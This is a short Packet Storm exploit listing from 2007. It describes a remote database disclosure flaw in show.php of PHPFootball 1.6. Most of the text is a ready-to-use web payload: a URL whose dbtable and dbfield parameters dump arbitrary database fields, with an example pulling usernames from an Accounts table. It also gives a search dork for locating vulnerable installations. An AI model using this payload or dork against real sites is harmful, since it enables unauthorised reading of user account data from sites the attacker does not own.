phpfootball16-disclose.txt

2007-01-31T00:00:00
ID PACKETSTORM:54113
Type packetstorm
Reporter ajann
Modified 2007-01-31T00:00:00

Description

                                        
                                            `*******************************************************************************  
# Title : PHPFootball 1.6 (show.php) Remote Database Disclosure Vulnerability  
# Author : ajann  
# Contact : :(  
# S.Page : http://phpfootball.sourceforge.net  
# $$ : Free  
# Dork : inurl:/phpfootball/  
  
*******************************************************************************  
  
[[DBREAD]]]---------------------------------------------------------  
  
http://[target]/[path]//show.php [VARIABLES]  
  
Example:  
  
//show.php?dbtable=Accounts&dbfield=Username&dbfieldv=%&dbfields=Id&  
  
[dbtable] :Database Table Name  
[dbfield] :Field Name  
[dbfields]:Listing(Order by x)  
  
[[/DBREAD]]  
  
"""""""""""""""""""""  
# ajann,Turkey  
# ...  
  
# Im not Hacker!  
  
`